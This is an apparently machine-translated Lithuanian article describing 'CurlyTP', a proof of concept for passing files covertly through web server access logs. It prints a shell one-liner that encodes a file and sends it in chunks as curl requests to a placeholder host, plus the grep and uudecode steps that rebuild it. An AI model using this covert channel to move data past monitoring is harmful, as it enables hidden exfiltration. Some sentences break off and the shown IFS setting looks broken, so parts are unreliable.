Remiantis Vikipedijos apibrėžimu, negyvas lašas yra sąmokslo įrankis, padedantis keistis informacija ar kai kuriais elementais tarp žmonių naudojant slaptą vietą. Idėja yra ta, kad žmonės niekada nesusitinka, tačiau jie vis tiek keičiasi informacija, kad išlaikytų darbo saugumą.
Slėptuvė neturėtų pritraukti dėmesio. Todėl neprisijungę jie dažnai naudoja diskretiškus daiktus: atsipalaidavusią plytą sienoje, bibliotekos knygą ar medžio įdubą.
Internete yra daug šifravimo ir anonimiškumo priemonių, tačiau dėmesį patraukia pats šių priemonių naudojimo faktas. Be to, jie gali būti užblokuoti įmonės ar vyriausybės lygiu. Ką daryti?
Kūrėjas Ryanas Flowersas pasiūlė įdomų variantą -
Pasirodo, bet kuris žiniatinklio serveris leidžia žurnale išsaugoti beveik bet kokį pranešimą. Gėlės domėjosi, kaip tai panaudoti.
Jis siūlo tokią galimybę:
- Paimkite tekstinį failą (slaptą pranešimą) ir apskaičiuokite maišą (md5sum).
- Mes jį užkoduojame (gzip+uuencode).
- Į žurnalą rašome naudodami sąmoningai neteisingą užklausą serveriui.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Norint nuskaityti failą, reikia atlikti šias operacijas atvirkštine tvarka: iššifruoti ir išpakuoti failą, patikrinti maišą (maišą galima saugiai perduoti atvirais kanalais).
Tarpai pakeičiami =+=
kad adrese nebūtų tarpų. Programa, kurią autorius vadina CurlyTP, naudoja base64 kodavimą, kaip ir el. pašto priedai. Prašymas pateikiamas naudojant raktinį žodį ?transfer?
kad gavėjas galėtų lengvai jį rasti žurnaluose.
Ką šiuo atveju matome žurnaluose?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Kaip jau minėta, norėdami gauti slaptą pranešimą, turite atlikti operacijas atvirkštine tvarka:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Procesą lengva automatizuoti. Md5sum sutampa, o failo turinys patvirtina, kad viskas buvo iššifruota teisingai.
Metodas labai paprastas. „Šio pratimo tikslas yra tik įrodyti, kad failus galima perkelti per nekaltas mažas žiniatinklio užklausas ir jis veikia bet kuriame žiniatinklio serveryje su paprasto teksto žurnalais. Iš esmės kiekvienas interneto serveris yra slėptuvė!“ – rašo Gėlės.
Žinoma, šis metodas veikia tik tuo atveju, jei gavėjas turi prieigą prie serverio žurnalų. Tačiau tokią prieigą suteikia, pavyzdžiui, daugelis šeimininkų.
Kaip juo naudotis?
Ryanas Flowersas sako, kad jis nėra informacijos saugumo ekspertas ir nesudarys galimų CurlyTP naudojimo būdų sąrašo. Jam tai tik koncepcijos įrodymas, kad pažįstamus įrankius, kuriuos matome kasdien, galima panaudoti netradiciškai.
Tiesą sakant, šis metodas turi daug pranašumų, palyginti su kitomis serverio „slėptuvėmis“, pavyzdžiui
Tai vienas iš būdų perduoti pranešimus per paslaugų failus. Galite prisiminti, kaip kai kurios pažangios įmonės laikėsi
Idėja buvo tokia, kad tik žiniatinklio kūrėjai matys šį Velykų kiaušinį, nes normalus žmogus nežiūrės į antraštes ar HTML kodą.
Šaltinis: www.habr.com